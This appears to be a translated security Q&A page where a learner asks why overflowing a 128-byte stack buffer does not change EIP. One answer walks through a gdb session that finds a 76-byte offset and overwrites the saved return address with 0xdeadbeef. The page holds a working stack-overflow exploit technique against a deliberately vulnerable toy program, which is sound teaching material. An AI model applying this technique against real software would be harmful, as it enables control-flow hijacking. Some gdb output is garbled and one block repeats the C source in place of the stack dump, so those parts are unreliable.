No se pueden entender los cambios de $ EIP con desbordamiento de búfer

2

Estoy aprendiendo desbordamiento de búfer, por lo que la pregunta puede parecer tonta, pero aquí está. Comencé con este programa de buggy muy simple

int main(int argc, char *argv[])
{
  char buf[128];
  printf("You entered value %s\n", argv[1]);
  strcpy(buf,argv[1]);
  printf("%s\n", buf);
  printf("Program is exitting normally!!\n\n\n");
  return 0;
}

Ahora cuando enciendo gdb y lo ejecuto con un conjunto simple de entrada HElooooooooooooooooooooooooo , funciona normalmente con eip configurado en la siguiente instrucción después de la función strcpy .

0x565555ce <+81>:   call   0x56555400 <strcpy@plt>
0x565555d3 <+86>:   add    $0x10,%esp
0x565555d6 <+89>:   sub    $0xc,%esp
0x565555d9 <+92>:   lea    -0x98(%ebp),%eax

$eip contiene 0x565555d3 y puedo ver la versión Little Endian de mi entrada sin problemas. Las cosas funcionan bien.

(gdb) x/40x $esp
0xffffd260: 0xffffd270  0xffffd566  0xf7ffdaf8  0x56555598
0xffffd270: 0x6f6c4548  0x6f6f6f6f  0x6f6f6f6f  0x6f6f6f6f
0xffffd280: 0x6f6f6f6f  0x6f6f6f6f  0x6f6f6f6f  0x00000000
0xffffd290: 0x00000000  0x00000001  0xf7ffd940  0x000000c2

Pero cuando lo proporciono con 1000 A's . Espero ver un área dañada alrededor de $esp y un valor corrupto esperado de $eip o algo así como 0x41414141 , pero nada de eso sucede.

Después de la corrupción, el área alrededor de $esp parece bastante normal

(gdb) x/40x $esp
0xffffd27c: 0x565555d3  0xffffd290  0x00000000  0xf7ffdaf8
0xffffd28c: 0x56555598  0x00000000  0xf7fdff8b  0x5655523c
0xffffd29c: 0xffffd2fc  0xf7ffda9c  0x00000001  0xf7fcf410
0xffffd2ac: 0x00000001  0x00000000  0x00000001  0xf7ffd940
0xffffd2bc: 0x000000c2  0x00000000  0x00ca0000  0x00000000
0xffffd2cc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffd2dc: 0xa7a40500  0x00000009  0xffffd56c  0xf7e03fa9
0xffffd2ec: 0xf7fac748  0xf7fa9000  0xf7fa9000  0x00000000

y $eip se convierte en 0xf7e62238 , lo que obviamente no es el valor correcto de la siguiente instrucción después de strcpy , por lo que significa que algo lo ha cambiado.

Ahora no puedo encontrar dos cosas.

  1. ¿Dónde están todos los A 's?

  2. ¿Cómo $eip ha cambiado así?

Estoy usando el siguiente comando para deshabilitar la protección y he cambiado /proc/sys/kernel/randomize_va_space a 0. La versión de gcc es 7.3.0 .

gcc -fno-stack-protector -zexecstack -m32 -o overflow overflow.c

¿Hay algo que evite el desbordamiento que he omitido o algo más?

    
pregunta aneela 30.05.2018 - 19:45
fuente

2 respuestas

0

Intente usar el interruptor "-g" cuando compile su archivo c con gcc.

O hay algo con las Características de seguridad que impiden su Código.

¿Intentaste romper tu código?

Por ejemplo,

  

"break main" y "break 5" y "break 8"

     

en "break 8" puede intentar examinar el búfer "x / s buf" o "x / 40x buf"?

Antes de finalizar el Programa, debería ver un mensaje que indica que no puede acceder a la Dirección 0x41414141. Después de continuar, debería ver un mensaje de error.

    
respondido por el loadM 30.05.2018 - 21:14
fuente
0

Primero, es mejor que intentes desbordar el eip guardado de una función regular, no main() . No es realmente diferente, pero la función main() es un poco específica y podría darte una visión distorsionada de la realidad.

Probemos con este código:

#include <stdio.h>
#include <string.h>

void foo(char *msg)
{
  char buf[64];
  printf ("You entered value %s\n", msg);
  strcpy (buf, msg);
  printf ("%s\n", buf);
}

int main (int argc, char *argv[])
{
  if (argc > 1)
    foo(argv[1]);

  printf ("Program is exiting normally!\n");
  return 0;
}

Primero, vamos a compilarlo:

$> gcc -Wall -Wextra -std=c11 -m32 -g -o vulnerable vulnerable.c

Luego, comencemos con gdb :

$> gdb -q ./vulnerable
Reading symbols from ./vulnerable...done.
(gdb) b foo
Breakpoint 1 at 0x11db: file vulnerable.c, line 7.
(gdb) r $(python -c 'print("A" * 64)')
Starting program: /tmp/vulnerable $(python -c 'print("A" * 64)')

Breakpoint 1, foo (msg=0xffffd53a 'A' <repeats 64 times>) at vulnerable.c:7
7     printf ("You entered value %s\n", msg);
(gdb) 

Ahora, estamos justo en el punto en el que podemos desbordar el búfer y sobrescribir el eip guardado que está almacenado en la pila. Sin embargo, ingresamos solo 64 ' A ' (el tamaño del búfer), y necesitamos saber cuántos ' A ' necesitamos insertar para alcanzar el eip guardado en la pila.

Lo que intentaremos hacer es:

  • Obtenga la dirección del búfer;
  • Obtenga la dirección del eip guardado en la pila;
  • Obtenga la diferencia entre estas dos direcciones, que debería proporcionarnos el tamaño exacto del relleno que necesitamos insertar para alcanzar el eip guardado.

Vamos a ir:

(gdb) p &buf
$1 = (char (*)[64]) 0xffffd280

(gdb) info frame
Stack level 0, frame at 0xffffd2d0:
 eip = 0x565561db in foo (vulnerable.c:7); saved eip = 0x56556249
 called by frame at 0xffffd300
 source language c.
 Arglist at 0xffffd2c8, args: msg=0xffffd53a 'A' <repeats 64 times>
 Locals at 0xffffd2c8, Previous frame's sp is 0xffffd2d0
 Saved registers:
  ebx at 0xffffd2c4, ebp at 0xffffd2c8, eip at 0xffffd2cc

(gdb) p 0xffffd2cc-0xffffd280
$3 = 76

Ahora, sabemos que si alimentamos el programa con 76 caracteres de relleno, sobrescribiremos el eip guardado con los siguientes 4 caracteres (aquí está en 32 bits).

Vamos a probar:

(gdb) r $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vulnerable $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')

Breakpoint 1, foo (
    msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence 6>)
    at vulnerable.c:7
7     printf ("You entered value %s\n", msg);
(gdb) n
You entered value AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
8     strcpy (buf, msg);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
 eip = 0x565561f0 in foo (vulnerable.c:8); saved eip = 0x56556249
 called by frame at 0xffffd2f0
 source language c.
 Arglist at 0xffffd2b8, args: 
    msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence 6>
 Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0
 Saved registers:
  ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc
(gdb) n
9     printf ("%s\n", buf);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
 eip = 0x56556202 in foo (vulnerable.c:9); saved eip = 0xdeadbeef
 called by frame at 0xffffd2c4
 source language c.
 Arglist at 0xffffd2b8, args: 
    msg=0xffffd500 "S07Q73
(gdb) x /32x $esp
0xffffd270: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd280: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd290: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd2a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd2b0: 0x41414141  0x41414141  0x41414141  0xdeadbeef
0xffffd2c0: 0xffffd500  0xffffd384  0xffffd390  0x5655622b
0xffffd2d0: 0xffffd2f0  0x00000000  0x00000000  0xf7de79a1
0xffffd2e0: 0xf7fa4000  0xf7fa4000  0x00000000  0xf7de79a1
4x(5\ri686" Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0 Saved registers: ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc

Ahora, tenemos el control completo del eip guardado, ya que acabamos de escribir 0xdeadbeef en él. Por lo tanto, podemos controlar la ejecución una vez que salgamos de esta función foo() .

Si desea ver lo que acaba de escribir en la pila, ahora puede hacerlo:

#include <stdio.h>
#include <string.h>

void foo(char *msg)
{
  char buf[64];
  printf ("You entered value %s\n", msg);
  strcpy (buf, msg);
  printf ("%s\n", buf);
}

int main (int argc, char *argv[])
{
  if (argc > 1)
    foo(argv[1]);

  printf ("Program is exiting normally!\n");
  return 0;
}

Como puedes ver, encuentras todos los 76 ' A ' seguidos de 0xdeadbeef . De hecho, este es su búfer buf , seguido del ebp guardado y el eip guardado que acaba de reescribir.

Una nota final sobre el ASLR y la pila no ejecutable. Estas dos protecciones no están jugando ningún papel aquí. Solo deben deshabilitarse si desea ejecutar un código de shell que inyecte a través de este desbordamiento. El ASLR hace que sea más difícil escribir una dirección significativa en lugar de 0xdeadbeef porque el contexto de la memoria cambiará todo el tiempo. Y, la pila no ejecutable, solo arruinará tus intentos de ejecutar código en la pila.

Si solo desea controlar el eip guardado, solo necesita desactivar los canarios de la pila (opción stack-protector ). El resto solo tendrá sentido después, cuando intentes usar este control para redirigirlo a algún código que poseas.

    
respondido por el perror 30.07.2018 - 14:42
fuente

Lea otras preguntas en las etiquetas